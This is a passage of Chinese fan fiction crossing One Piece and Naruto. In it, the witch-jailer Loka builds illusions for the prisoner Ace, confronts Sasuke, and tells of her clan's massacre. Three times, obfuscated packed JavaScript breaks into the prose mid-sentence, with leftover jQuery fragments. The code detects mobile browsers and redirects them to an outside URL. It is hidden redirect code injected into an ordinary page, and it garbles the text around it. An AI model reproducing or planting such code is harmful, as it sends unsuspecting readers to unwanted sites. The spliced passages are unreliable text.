“我在你的幻境……应该说是你的水晶球里看到了点有趣的东西。”艾斯对着洛卡露出一个入狱以来最灿烂的笑,“我还想再看一次。” “你再进去可不一定能遇到那时候的我了。”洛卡转身拿起桌上的匕首把玩起来,“我忘了加那两样东西导致那个幻境里关于我自己的记忆碎片没清干净,你遇到的只是过去的我所经历的印象比较深刻的某一瞬间,至于到底是哪个瞬间我自己也说不准。” 艾斯惊讶道:“竟然会这样……” “毕竟那是由我的记忆造就的幻境啊。” 艾斯想到了一点别的事:“那在幻境里我跟你说话你会理我吗?既然认识我的话应该也不能见了我就跑吧?我想跟萨博介绍一下我新认识的朋友。” 洛卡下意识地想要否认:“谁是你朋……”看到艾斯那清澈真诚的眼神又把剩下的话吞了回去,“要是大声叫唤的话我可能会注意到你吧,但现实中的我不会有这方面的记忆。而且幻境里的萨博根本也不是真正的萨博,跟他介绍你的新朋友有什么意义吗?” “就算不是真的。”艾斯脸上的笑收敛了一些,“我也想告诉他我现在过得还不错。” 洛卡环顾了一下这间简陋的囚室:“这也能叫过得不错的话那你这人很乐观了。” “你要是能同意我的请求的话我还能更乐观。”艾斯真诚地抓住她的右手用力一握,抬头朝她粲然一笑。 “你这人还真是很擅长蹬鼻子上脸……”洛卡头疼地揉了揉自己的太阳穴,“好吧,那等我回去找找兔子粪便和蜈蚣腿重新调配……” 话音未落,忽听噗通一声,那头艾斯已经再次跳进了玻璃罐,缩在水里半天不见幻境出现,又伸长双臂扒住边沿露出个湿漉漉的脑袋:“是不是该施法了洛卡?快施法呀让我瞧瞧你的厉害!” “……你一个待宰的囚犯还指挥上我了?快给我下来!” 8. 极速救兄之佐助闯空门 008 艾斯的第二次幻境一直持续到第二天早上八点整,醒来时洛卡早已趴在桌边睡着了。 他从玻璃罐里爬出来,先蒸干了身上的药液才走到洛卡身边,走近了才发现她手里正握着他的匕首,大概是无聊时拿起来把玩,就这么睡了过去。 她趴着睡的时候倒是挺老实的——艾斯这么想着,坐下来时却愣了一下。 洛卡睡着时极其不安,似乎是怕冷似的,肩膀还在轻微颤抖。 他坐下时老旧的长凳发出一声轻响,她睫毛一颤,竟就这么惊醒了。 艾斯吓了一跳:“抱歉,我没想吵醒你……” 洛卡转头看了看身后的玻璃罐,转回来时神色已经恢复如常:“……啊,你出来了。这次感觉怎么样?” 她说着转了转肩膀,似乎是趴在桌边睡觉的姿势让她不太舒服。艾斯见状十分自然地伸出手去,在她肩窝处轻轻按了按。 洛卡略惊了惊,只觉肩膀处酥麻发热,暖得很是熨帖,那股子酸涩的痛感很快就消失了:“你进幻境一趟升级成暖宝宝了?” “暖宝宝又是什么东西?听起来可不像在夸我。”艾斯皱起眉,语气中却没有怒意,“接下来怎么办?比起把我绑回去我还是更希望你能把我扔回玻璃罐里……” “行了,连着进去那么多次你的身体也吃不消。”洛卡让他坐回原先被绑的角落里,“先休息一下,我晚上回来。” “你要离开一整天?”艾斯惊道,“又是海军总部叫你过去?” “不是,我自己有点私事要办。”洛卡将桌上的匕首拿起来别在腰间,“你这把刀先借我玩两天。” “噢。那你自己小心些,别划伤了。” 艾斯出乎她意料地并未反对。 他的大方让洛卡有些意外,但又不好说什么,只好抬步向门口走去。开门之前她忽然转过身:“等一等,这次你在幻境里看到了什么?” 艾斯坐回原位后熟练地捡起早已被切断的锁链反手缠到自己的手腕上,对洛卡露出一个神秘的笑:“保密——幻境里的那个洛卡叫我保密。” * “简直是莫名其妙嘛!” 踏上下班路的洛卡在走出这座牢狱数十米开外之后想起艾斯那句话还是气不打一处来,“既然幻境里那个也是我那为什么还要瞒着身为本尊的我啊!” 愤愤骂了一句“有什么了不起”,洛卡握紧了从囚室顺出来的扫帚,麻溜地骑上之后咻一声往空中飞去。 处刑日越来越近,艾斯所在的海贼团不可能没有动作。前往处刑地马林梵多的海路虽多,但距离越近线路就越不难猜,且像白胡子海贼团这种规模的犯罪集团,往往会先派几个探子先行出发收集情报,在前方站点等待大部队。 用艾斯的私物去刺探对方这一招是她一个人百无聊赖把玩艾斯的匕首时忽然想到的。虽说艾斯入狱已久,这把匕首上其余船员的气味都消散得差不多了,只有刀柄上还残留着一抹来自他人的气息,虽然微弱但至今不散,大概是来自一位和艾斯相当亲近的船员。 在所有的必修课里头唯有追踪术这一门洛卡学得最为薄弱,再加上这一趟出去纯属是碰运气,反正也不一定能找到人,洛卡干脆在给那把匕首施了术之后就让那匕首指引着扫帚慢悠悠地往前飞,不知道飞了多久,扫帚突然停下了。 正吹着风的洛卡惊讶地睁眼一看,这里是距离马林梵多不远的一处港口城市,遇上法定节假日或休年假的海军一般都在这里休息游玩或乘船回家,逐渐形成了垃圾食品一条街和用各种塑料制品欺骗游客的商业中心。 是跟丢了还是艾斯那位同伙真的追到了这里? 这里可全是上班摸鱼偷溜出来的海军啊! 洛卡背着一把扫帚漫无目的地走在街上,时不时有路人对她背后的扫帚投来惊奇的目光,经过酒馆时会有不认识的中年男人装成醉汉踉踉跄跄地向她撞过来,最终被她折断手脚丢进巷尾的垃圾场。 洛卡将艾斯的匕首拿在手里,放慢速度在这条街上来回走了两遍,没有任何可疑分子上来搭话、也没有被人跟踪的迹象,她再次检查了艾斯的那把匕首,上面那抹气息还在,但周围似乎没有类似的气息。 这八成是跟丢了吧? 她有些失落地叹了口气,在一个卖杂货的小摊上买了个古铜色的项链托和两瓶胶水,骑上扫帚原路返回了。 快到推进城的时候她心中一动,半路拐了个弯,没去找艾斯而是先回了自己的公寓。 单位分配的老旧公寓楼的楼梯已经很久没有翻修了,洛卡每回都是直接飞到八楼自家的窗边然后翻窗进去。 飞进落地窗后刚把窗关上,洛卡忽然感到向来熟悉的家中有一丝不对劲。 她心下一惊,面上却仍然十分冷静:“既然来了就出来吧?我家经常被人闯空门我都快习惯了,你算是其中比较礼貌的一位啦。” 她这么说着,还挑衅似的掂了掂手里的匕首。 站在原地等了很久,洛卡才听到身后传来一道陌生清冷的男声:“别动。你手里怎么会有那把匕首?” 赌对了! 洛卡心中欢呼一声,面上却半分不露:“这个?”她扬了扬手里那把刀,“朋友送的。” “不可能。”对方断然否认,“到底哪来的?” “你其实不是想问这刀是哪来的,是想问刀的主人现在如何了吧?”到这里洛卡终于淡笑一声:“你又是怎么找到这里来的?是觉得你的同伴气数将尽了,他的私物才会落到我这个海军的手里吗?” 身后的人没有回答。 洛卡自顾自地说下去:“所以才不顾自身安危追上来想要问个究竟?你就不怕这是个陷阱吗?” “他现在不可能出什么大事,毕竟你们还要留着他搞公开处刑那一套。”那人的声音冰冷之余透着一股自内而外的傲慢,“在这种理论上该是全军戒严的时候,你身为海军却拿着重刑犯的私物才更可疑吧?” “原来如此,你比我想象的聪明。”洛卡把刀收了起来,“不过这个不能给你,我还得拿去还给他。” 身后的人被她这一句话弄得一愣,搞不清楚她到底想干什么,压低了声音道:“我不是说了别动吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052200|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “其实你比我想象的冷静多了。”洛卡没管他的威胁,一条一条给他分析,“在大街上你明明注意到我了却按兵不动,一路跟我到这里也没跟我动手,说明你一开始就看穿了我的目的、对现状的认知也很清晰嘛。行事如此沉着,该不会是一番队队长马尔科吧?” ——等等,说起来这人的声音和她印象中的马尔科对不上耶? 她讶然转身,看到一双长着漆黑眸子的眼睛。黑色的中分刘海之下是一张她不知为何总觉得在哪里见过、颇有些熟悉的清俊脸庞。 这瞳孔和发色,乍一看竟然还有几分像艾斯。 这少年穿着一身黑色的和式浴衣,同色腰带围在腰间,腰后别着一把长刀,手中捏着一支苦无,那苦无正对着洛卡的脖颈,却没有攻过来的意思——最为瞩目的是他上衣领口处绣着一枚上红下白的徽纹,乍一看像极了乒乓球拍。 “等等……你,你不是宇智波佐助吗?!”洛卡大惊之下后退两步,“你怎么在这儿?你不应该出现在这儿!” 佐助一愣:他为什么不该在这儿?她知道些什么? 思绪流转间,他还是没有真的问出口。 此时脚下的地板却忽然喀啦一声裂开一条大缝,天花板上的吊灯和周围的门窗剧烈摇晃,终于连承重墙也出现了多道豁口,墙纸早已开始剥落的墙砖片片碎裂摔落下来。 洛卡当机立断冲进早已塌过一次的储物室,很快拎了一个大包袱出来,逃到屋外之前她从那包袱里掏出个物事朝佐助丢了过去:“接着,艾斯叫我给你的!” 佐助在这如其来的变故中刚稳住脚,就听见了洛卡这脆生生的一句谎——她刚才认出他时面上的神情分明是一副震惊至极的模样,显然艾斯并未跟她提过他,又怎么可能托她转交什么东西——正想着的时候那东西朝他飞了过来,在空中划出了一道少见的浅紫色弧线,原来是个水晶球。 整栋楼从开始摇晃到轰然倒塌不过十分钟不到的工夫,二人已经站在了一片废墟之中。 洛卡对着这一片废墟呆愣了好一会儿:“……哦,原来是你啊。” 佐助根本没听懂她在说什么,只是皱眉看着手里的水晶球:“这是什么东西?” “你真给我面子,我还以为你会直接把它扔了呢。”洛卡挠了挠头,“这么说来艾斯提到过的弟弟就是你?因为我根本不知道他弟弟原来是你所以我给他制造的幻境里根本没有你啊……” 这一番絮絮叨叨的话里佐助就听到一句重点,说话时周身的气氛瞬间一寒:“什么幻境?你对他施了幻术?” “是啊,他现在也还在幻境里呢。”洛卡忍不住想逗逗他,“你要是把我杀了他也就回不来了,任你十八般武艺最后也只能从处刑场上救出来一个空壳。” 佐助的眼底迅速升腾起灼人的怒意,下意识地捏紧了手里的水晶球。 ——不能在这种陌生的地方和尚且不知实力深浅的海军对峙,无论是自己受伤还是对方受伤,情况都会变得很麻烦。 佐助强压下心头的火气:“所以,你引我过来到底是想和我说什么?” 9. 我这房子还没还完房贷呢,记得赔钱哈 009 在这种要是不慎说错话就可能愈加激怒对方的关键时刻洛卡却问了一个别的问题:“我不知道你是怎么穿越到此的,但既然你到这异世界之后无处可去,现在莫非是跟着艾斯加入了白团?” 佐助悚然一惊:自己的身份竟这么快就被对方看破了?她也的确是异世之人?还是又在撒谎? 洛卡问完之后等了半天也不见佐助回答,笑眯眯地补了一句,“怎么,连自己现在属于哪个家族都不敢承认?” 佐助眼中杀意更盛:“……是又如何?” “刚才你问我为什么叫你过来,主要是为三件事。”洛卡伸出三根手指,“第一,你既然有潜入此地的本事,或许也会想着要潜入推进城,我作为和你一样的外来者劝你止步于此,千万不要再往前走;第二,你们八成是打算直接劫刑场,巧的是我也这么打算,届时请注意我发出的信号弹,你手里那只水晶球会向你显示我的动向,在看到信号弹之前请尽量保存体力,不要盲目冲进战场;第三嘛……” 她略停了停,才慢条斯理地说道,“你弄塌了我家的房子,如果到时候我们大家都能活下来的话,我会列一份详细的赔偿清单给你——我这房子还没还完房贷呢,记得赔钱哈。” * 洛卡久久不归,艾斯困倦地眯着眼睛等到凌晨三点,洛卡才灰头土脸地开门进来。 艾斯精神一振:“洛卡你终于回来……你这是去哪里了蹭这一脑门的灰,因为实在太缺钱所以去刨谁的墓了吗?” 洛卡先是有点疑惑:“为什么会想到这个,怎么现在的海贼也兼职盗墓的吗?”想了想又问,“哪里的墓比较值钱?” “……重点是在这里吗?!” 洛卡挠头:“不在这里吗?”她扶着还在隐隐作痛的后腰坐到连软垫都没有的木椅上,长长叹出一口气,接着给自己倒了杯水,状似无意地问道:“说起来我家房子被震塌了,艾斯你有什么头绪吗?” “……哈?你没受伤吧!” 艾斯下意识地就想问一句“所以你一脑袋灰是因为房子塌了吗”,想了想又觉得不对,忽然想起洛卡上次说起过的储物室被震塌的事,心下忽然浮起一种不好的预感:“你、该不会是……” 洛卡认真地点头:“是的没错,我刚才见过你弟弟了。” 艾斯一愣,神色痛苦地皱起眉,低下头去喃喃道:“他果然追过来了……” “我一开始还在想,是谁有这么大的本事能一路追到马林梵多附近的港口城市来还不被海军察觉,搞了半天原来海贼只是人家的兼职,老本行是干忍者的啊。”洛卡的神色出奇地平静,“他只是在我的客厅略站了站,我的房子就因为承受不住共振连着整栋公寓楼都塌了。” “……所以你会弄成这样果然是因为来不及逃命?”艾斯的声音陡然紧张起来,“你没事吧,伤着哪里没有?” “哦那倒没有。”洛卡摆摆手,“只不过是我为了撑一撑面子,等你弟走了之后才开始满地找存折,找的时候不慎闪了腰,再回这里来就到这个点啦——也算是自己活该吧,非要把人引到家里去就是这个下场。”她哈哈一笑,“现在连家都没了,之后只能住工作室了呢。” “你是说你主动把他引到你家去的?”艾斯沉思了一会儿,“是为了不让他引起海军的注意吗?” “也不全是,那一片只有我一个人住,所以一般情况下不仅不会引起海军的注意,也不会引起普通人的注意……但是房子塌了。”洛卡闭上眼睛揉了揉自己的太阳穴,“大概过不了多久就会有人去调查吧,我是编个实验失败不慎把楼炸了的理由好还是直接就说它年久失修没抗住台风呢……还是后者吧,嗯,就说是他们分配的房子质量不好。” 艾斯抬头瞧了她半天,眼中似有不同的情绪在激烈地起伏,过了一会他又垂下眼睑:“……抱歉。这件事我确实一直瞒着你。我和你的魔法阵并无关系,我弟弟和你才是真正的同类。之前大概是让你产生错误的期待了,很抱歉。” 洛卡这才正眼看他,神情看上去毫不意外:“其实是因为答应过他不和任何人说吧?而且你大概更害怕我知道这件事之后不顾你弟弟的意愿拉他入阵,导致他被拉去我的世界再也回不来?” 艾斯沉默了一会儿才回答:“嗯。” “没关系。”洛卡蹲下来拍了拍他的肩膀,“你弟弟那种人吧,和你这种有商有量的类型不一样,强行拉上他他一定会跟我拼命的,不如说刚见面我还没说什么呢他就一副想和我拼命的样子……总而言之,上次我跟你坦白魔法阵的事你不是很快就原谅了我吗?所以这次我也会马上就原谅你的。” 艾斯忽觉心中一暖,正欲松一口气,却又听她说道,“只要你答应我一件事。” 不知为何他竟然能愉快地笑出声来:“上次我可没跟你讲条件。” “你确实没和我讲条件,但直到魔法阵出现你也没和我说实话,不就是想利用信息差替你弟弟试试我那个阵吗?” 洛卡笑眯眯地看着他的眼睛,“一开始我以为你没了海楼石的束缚却也没绑了我冲出去单纯是因为你人好,原来其中还有替你弟弟试一试我的缘故啊?试了之后感觉如何,没什么痛感也没什么后遗症吧?就像坐了趟电梯一样没多久就到了,是居家旅行的必备良品呢。” 艾斯想了好一会也没能从脑子里搜刮出什么辩驳之语,在这件事上好像确实是他理亏:“……你想让我答应你什么事?” “别这么害怕,也不是那么复杂啦。”洛卡抓了抓他的头发,“事到如今我就算是为了回到我的世界去,也只剩下跟你们走这一条路了。所以我打算和你弟弟一块劫刑场,你弟弟……说实话我有点吃不准他的态度但是看上去他也已经同意了。” 艾斯听了这话像是忽然激动起来了似的,面孔一下涨红了;但他瞪着眼睛看了洛卡好一会儿,最终还是什么都没说,丧气地缩了缩肩膀。 “你这回倒是很安静嘛。”洛卡十分惊奇,“我还以为你又要嚷嚷什么不要做劫刑场这种傻事趁现在见到佐助的好时机快点跟他回到船上以后永远不要回来了之类的屁话——看来你对现状已经有清醒的认知了,进步了哎。” 艾斯正想辩驳些什么,忽见她张开双臂扑了过来,环住他下意识变得僵直的肩背。柔软的白色发丝拂过他的脸颊、周身充满未知的香气,是少女温软的怀抱。 “反正已经回不了头了。”洛卡像哄孩子一般摸了摸他的脑袋,“你弟弟早已豁出性命了,不然怎么会冒着生命危险追到这里来?船上其他人也一定都和佐助差不多吧?” 艾斯被她这突如其来的拥抱弄得有些懵,自然也注意不到有一丝浅紫色的魔气自洛卡的指尖游出,迅速钻入了他的耳朵:“那……你呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052201|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >洛卡松开了他,不同于几近红温的艾斯,洛卡抱完他就和没事人一样,正常得好像刚才什么也没发生过:“我?我什么?” “你为什么要参与这件事?你在狱中就帮了我,即使什么也不做……”他不知道为什么压低了声音,“我也会带你上船的。” “嗯?我帮你什么……啊,是指那个幻境?说起来你之前是想在里头看什么东西?看到了吗?” “……看到了,谢谢你。” “那就好……你脸红什么?”洛卡奇道,“你在里面到底看到什么了?你的脸颊好像都烧起来了耶?” “……没什么!”艾斯急急否认,“你还没回答我的问题!” “啊……”洛卡斟酌了一下言辞,忽然提起另一件事,“你知道我为什么一个人住在那栋危楼里吗?” “所以那栋楼真的是危楼?你竟然没钱换好一点的房子吗?”艾斯惊道,“明明拥有那么厉害的魔法……” “因为我的魔法被政府垄断了,既不能像外面那种招摇撞骗的神婆一样在夜市上开个摊子赚钱,也不能像外面那种弄虚作假的风水师一样时不时接点委托上门卖点假道具,只能当一天和尚撞一天钟,每天混在岗位上拿死工资咯。” “你对赚不到钱的怨气真是挺大……”艾斯轻声吐槽了一句,怕她生气赶紧换了个话题,“因为是危房,所以只有你这一户人家吗?” “啊……那也不是。”洛卡嘟嘴道,“现在房源紧张,就算是危楼也会有不少人愿意住进来才对……是因为他们都挺讨厌我的所以不愿意和我住啦。” 艾斯神色一肃:“讨厌你?” “是啊,就连童话故事都常常把女巫写成反派不是吗?那栋危楼本来就是给海军准备的单元房,结果听说我要搬进去里头的人就都搬走了。” “……竟然会这样。我看那些狱卒都很尊敬你,还以为……” “他们其实是怕我来着。”洛卡嘻嘻一笑,“你不是说曾在我的记忆碎片里看到海军抄我家的情景吗?当年参与屠魔令的第一批海军,军衔在少佐及以上的都已经被我一个个找了出来——眼下死的死残的残,活着的那些也没比死了的好到哪去。” “第一批?还有第二批吗?”艾斯忽然想起试验台上那些装满魔药的软管:“所以实验室那些设备是……” “是用来逼供的。”洛卡正色道,“至于那魔药……其实没有任何复制果实能力的效果,我调制它的目的从一开始就是逼供。” “那……你想知道的都知道了吗?” 洛卡耸耸肩:“算是吧。其实到现在我才明白,对他们逼供其实也没什么意义。” 说到这里,她不等艾斯回答,再次抬眸同他平视,“刚才我说过要你答应我一件事,这件事说来不难,就是到你处刑那天若是我出了任何状况,请你一定要立刻过来救我——你问我为什么要参与这件事,因为我帮了你、所以你来救我,很公平吧?” “好。”艾斯目光炯炯地盯着她,又说了一遍,“好。” 洛卡反倒愣了一下,“即使我是这样的人,你也愿意救吗?” “你不要这样说自己。”艾斯笑了,“这年头谁学会杀人都不奇怪。而且离开了这里成为海贼之后,你大概率还是要为了自卫继续杀人——但是,我相信。”他的语气真诚而严肃,“得到自由之后你一定会好起来的,洛卡。” 10. 小艾生快! 010 那次谈话之后二人进入了一个忙着调制魔药一个忙着出入幻境的状态里,甚至一天下来同处一室的两个人都见不着几面。 洛卡原本想在艾斯常用的魔药中加入蜈蚣腿和兔子粪便来把关于她自己的部分彻底清除掉,遭到了艾斯的强烈反对:“我在里头就靠你给我特训,我上次还答应了你下次去看你的时候给你烤蘑菇吃……” “所以说下次你就见不到那个‘我’了!”洛卡没好气地指挥他把玻璃罐放倒方便换药和清洗,“再说了我把我自己的部分除掉之后你遇到关于你的记忆碎片的概率就会增加不是吗!你难道不想见到萨博他们吗!” “可那不都是你的记忆构成的幻境吗?”艾斯奇道,“很多你不认识也不记得的人物我都见不到,上回倒是看到马尔科了,一转头看到他连五官都没有,吓我一跳。” “……”洛卡恨恨地放下手里的一大盆蜈蚣腿,“我又不是故意的,好不容易给你建个幻想空间还给我挑三拣四——话说你的特训怎么样了?”她过去凶巴巴地给他甩过去一条抹布,“要是一点成果也没有的话上了刑场自保都困难,还怎么带我上船?” “你放心。”艾斯伸手猛地接住那块新抹布,像是接住了一块黄金似的志得意满地笑了起来,“幻境里头的你天天监督我呢。” “怎么你自己搞个特训还要别人监督啊!”洛卡先是大声吐槽了一句,又有些犹豫地问了个问题,“话说,你在里头只见到了萨博和你现在的同伴吗?没有见到什么……别的人?比如海军什么的?” 艾斯刷洗玻璃罐的动作停了停,抬起头来直直看向洛卡的眼睛:“你是说……老爹他们来救我的时候见到的那些海军吗?” “……嗯。”洛卡点了点头,“从没听你提过这个。” “因为很混乱。”艾斯继续干起活来,“有些时候会远远地看到我自己被绑着跪在高台上的场景,很不可思议;有些时候又会看到自己就在战场上,对面站着一个海军,有什么看不清的东西——似乎是岩浆?穿透了我的身体……” “啊,那是赤犬。”洛卡思考了一下:他没有见到原男主吗? 或许是因为这个世界里【艾斯和萨博的弟弟】这个角色本就是缺位的,佐助的到来正好填补了这个空缺? 这么说来……这里是没有原主角的平行世界吗? “赤犬?”艾斯笑了一声,“那大概就是了,我怎么会没认出来呢——就是他把我抓到这里来的。” “你认不出他来大概是我的原因。”洛卡冷静地解释,“他不仅抓了你,八年前也抓了我。我不愿意记住他的脸。” 艾斯突然想起洛卡的记忆碎片里那个抓住洛卡后被洛卡用紫水晶刺伤了一只眼睛的高大海军:“原来你家的事是他做的?” “不能算是。”洛卡歪了歪头,“第一批登岛的海军里没有他,他是在第一批海军被我族中的长老们剿灭之后过来支援的,当时他的军衔还没这么高呢。第一批登岛的海军虽然没能执行任务,却重伤了我族不少巫师,正虚弱的时候第二批海军以一种我们想象不到的速度从天而降,仅一夜时间便挟持了岛上大半居民。” 说到这里洛卡冷笑一声,“大约是某位高层的主意,说是如果继续执行屠魔令,恐怕岛上的巫师一族会抵抗到底——但如果屠杀暂缓,先挟持岛上的居民胁迫巫师继续为天龙人服务,事成之后再屠岛事情便会顺利很多。” 艾斯不解:“但如果期间任何一位巫师察觉到不对,结果不还是一样的吗?” 洛卡摇头:“不一样。天龙人就算再蠢也该知道加西亚一族绝不会像以前那样忠心耿耿,所以当时他们只提出了一个要求——设置禁止通行的大阵。” “禁止通行?”艾斯心底忽然涌起一股不祥的预感,“禁止谁通行?” 终于要说到正题了,洛卡长出一口气:“就是我和佐助这样的人吧?说来有些叫人害怕,其实这个世界的掌权者很早就意识到我们这种异端的存在了,且他们又很快意识到,若不尽早对此作出干涉,这异端迟早生变。” 或许就是因为意识到了异端的存在且了解到加西亚一族或许和这异端有千丝万缕的联系,他们才下令让海军屠岛的吧? “那些被挟持的居民里没有巫师、没有能力者,不过是早先听说有一座无人岛上竟有了人烟,便坐船寻来谋个生计的普通人罢了。加西亚族人并不忌讳和普通人通婚,几年间岛上多了许多普通人和巫师之间的孩子,因此那些人才被连累卷进了那场无差别谋杀。” 洛卡一边说一边注意艾斯愈发严峻的神色,果然在他眼底看到一抹难以忽视的愤怒,不由得笑了起来,“这个倾尽全族之力结成的大阵说白了是一个杀阵,只有寻找和杀戮两个功能。异端一进阵便会被察觉,从此被加西亚的魔力标记,只要在阵内就会持续遭到禁术攻击。就算侥幸逃到阵外,也总能被海军——或者说,被我找到。” 艾斯一惊:“但佐助并非你们的族人,他也会被发现吗?” “大概率会,因为无论是来自哪个世界,都是通过【门】进到这里来的。”洛卡苦笑,“关于【门】的说法很多,它们当然来自各个世界的不同力量,但无论如何都需要先在两个世界的衔接处打开一条缝才能来到此世。而加西亚一族的魔力也具有开门的能力,因此能对世界上所有的【门】产生共鸣。” 艾斯愣愣地听完:“可我和佐助行走过这么多地方,从来没见过类似的阵法,也没见他那道门出现过……” “那阵当然不可能覆盖所有航线。”洛卡摇头,“我的族人为了抵抗第一批海军已然死伤近半,就剩下的人数能完成的规模,不过堪堪覆盖了三个地区罢了。” “哪三个地区?” “一个是天龙人居住的圣地玛丽乔亚,另一个是囚禁了你的推进城。”洛卡抬眸看他,“最后一处,是你未来的处刑地、也就是海军总部马林梵多。” 艾斯愣住了。 洛卡继续说道:“这意味着你的弟弟一进马林梵多就有危险——不过暂时不用担心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052202|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给了他一只水晶球,只要他别出于对我的抵触情绪把那只球到处乱丢,那他大概率能骗过那大阵,暂时被判定为加西亚的族人。” 艾斯也不知是该着急还是该松一口气:“……多谢你。” “我也是为了我自己啦。”洛卡耸了耸肩,说话时语气倒是很轻松,“你看,只要我对你说点早就被大家遗忘了的尘封往事,你内心对我的同情就会增加,我成功逃走的概率也就提高了。” 而且,重要的话她也不是每一句都说的。 “……你骗人的时候真话未免说得太多了,洛卡。”艾斯哭笑不得,“最后这几句真的有必要吗?” “与其被你猜到我在博取你的同情心,那还不如我自己说了呢。”洛卡打了个哈欠,“都这么晚了,我要睡了——你把玻璃罐洗完之后从旁边拿一只水晶球,那些都是储蓄用球,里头全是给你调的魔药,你直接扔一个到玻璃罐里去就行。” 说完她揉了揉眼睛,脱了鞋子和外套,和衣躺在囚室边上一张临时立起的铁丝床上,“特训顺利,晚安。” 艾斯看了一眼墙上的钟:如果他没记错的话现在应该是早上六点,他和洛卡的生物钟大概早就混乱了。 正准备去拿水晶球的时候,身后的铁丝床忽然发出嘎吱一声,是睡相向来不佳的洛卡在睡熟后滚下了铁丝床。 艾斯过去将她抱回床上盖上毯子,左右环顾一圈,将桌子搬来卡住了铁丝床。想了想又怕她翻身撞上桌子于是又转身将桌子移开,伸手把铁丝床那本就不太稳固的四条支柱熔断后一端焊死在床角另一端埋入地面,铁丝床距离地面的高度降低,她就算再摔下来应该也不会多疼吧。 铁制支柱被熔断产生的黑烟被一股看不见的热浪隔绝在铁丝床外围,很快便消散了。艾斯终于起身向玻璃罐走去。 他从柜子里拿了一只洛卡带来的水晶球,随手抛进玻璃罐里。 水晶球进入玻璃罐后化成浅紫色的魔药汨汨地注满了整个玻璃罐,艾斯跳到罐沿伸手向里一探,这魔药除颜色外明明与水无异,伸手进去却不会有被海水包围的无力感——他并未发现有一丝药液沿着他手腕上的动脉钻进了他的体内。 艾斯不假思索地跳了进去。 这次的场景又是之前见过的马林梵多刑场——这场景他曾见过三次,其中两次他都死在了赤犬的手里,他几乎能猜到接下来会发生什么。 是因为处刑日将近,所以他才频繁见到这场景吗? 他转过身,向梦境的边缘走去。按照他的经验,洛卡一般会一个人游离在场景的边缘处。 没走几步,周围白雾渐浓,身后还是遍布战火的马林梵多,身前却是一处静谧深邃的森林。他唤出明火驱散了白雾,在一处灌木丛旁发现了正缩成一团瑟瑟发抖、似乎正在躲避着什么的小洛卡。 他以为她在躲魔兽一类的东西,毕竟这时候她年纪还小。然而他还没来得及去叫洛卡,森林里忽然传来一阵叫嚷声: “快,找到那丫头之后一定要杀掉!” 11. 囚犯日记之小艾梦游仙境 011 艾斯瞬间明白了眼下是什么处境——是洛卡一族被灭门前夕。他上前一步正想救人,却忽见林中亮起一道紫光,紧接着躲在灌木丛中的洛卡艰难地拨开茂密的草叶钻了出去,朝林中不慎踏入陷阱的众人冷静地说道:“杀掉你身边的同伴。” 她的声音不大,但那些海军却立刻掏出火铳和佩刀对准身边的人,真的互相残杀起来。 洛卡脸上不见丝毫轻松,额上反而流下一串冷汗。她神情紧张地转身就跑,没跑几步就撞到了呆立一旁的艾斯。她惊叫一声跌倒在地,又害怕自己的叫声引来后方的敌人,赶忙捂住了嘴。 艾斯一把将她抱起来,一时之间不知道该去把身后那群海军都杀了还是先带这个孩子离开这个由她亲手造就的屠宰场——最终他选了后者,抱紧女孩一路狂奔至森林深处,在一个温泉边停了下来。 洛卡在他怀里呆滞地看着他:“你为什么要救我呢?” “我很难解释清楚,但是我答应过你一定要救你,洛卡。”艾斯将她放下,环顾了一圈周围的环境,“你要不要吃点果子?” 洛卡愣愣地看着他:“你怎么知道这个名字?”想了想又问道,“难道你是婆婆留给我的使魔?” 艾斯长叹一声:“上上次见到你的时候你也这么说……对,我就是那个使魔。” 洛卡高兴起来,她抹了一把额上的汗,扑过去抱住了艾斯的腰:“我就知道婆婆不会不管我的。” 艾斯又想到一个点子:“对了洛卡,你吃烤蘑菇吗?我上回没来得及给你烤。” “上回?”洛卡突然感到疑惑,松开他后退半步,“我是第一次见你呀?” “是啊,回回你都是第一次见我。”艾斯抓了抓她的头发,“我也不知道这次能待多久,这次咱们就在附近逛逛吧。” “不行。”洛卡摇头,用力推开了他伸过来的手,“我要回去救我的家人——而且我知道了,你在骗我。” “……什么?” “婆婆的使魔都很有礼貌,不会直接用那种语气、那个名字来称呼我。你到底是谁?” 艾斯一愣:不能直接用洛卡这个名字称呼她?听她这口风,是“洛卡”这个名字有什么问题吗?那该叫什么?洛卡阁下?洛卡大人? 但他没时间想这个,她已经转过身向反方向跑去。 不能回去。 艾斯在心里说:不能回去,回到宅子里你就会被海军抓走,开始长达八年的痛苦生活。 “等一等!”但是艾斯还是说了违心的话,“我跟你一起回去!” 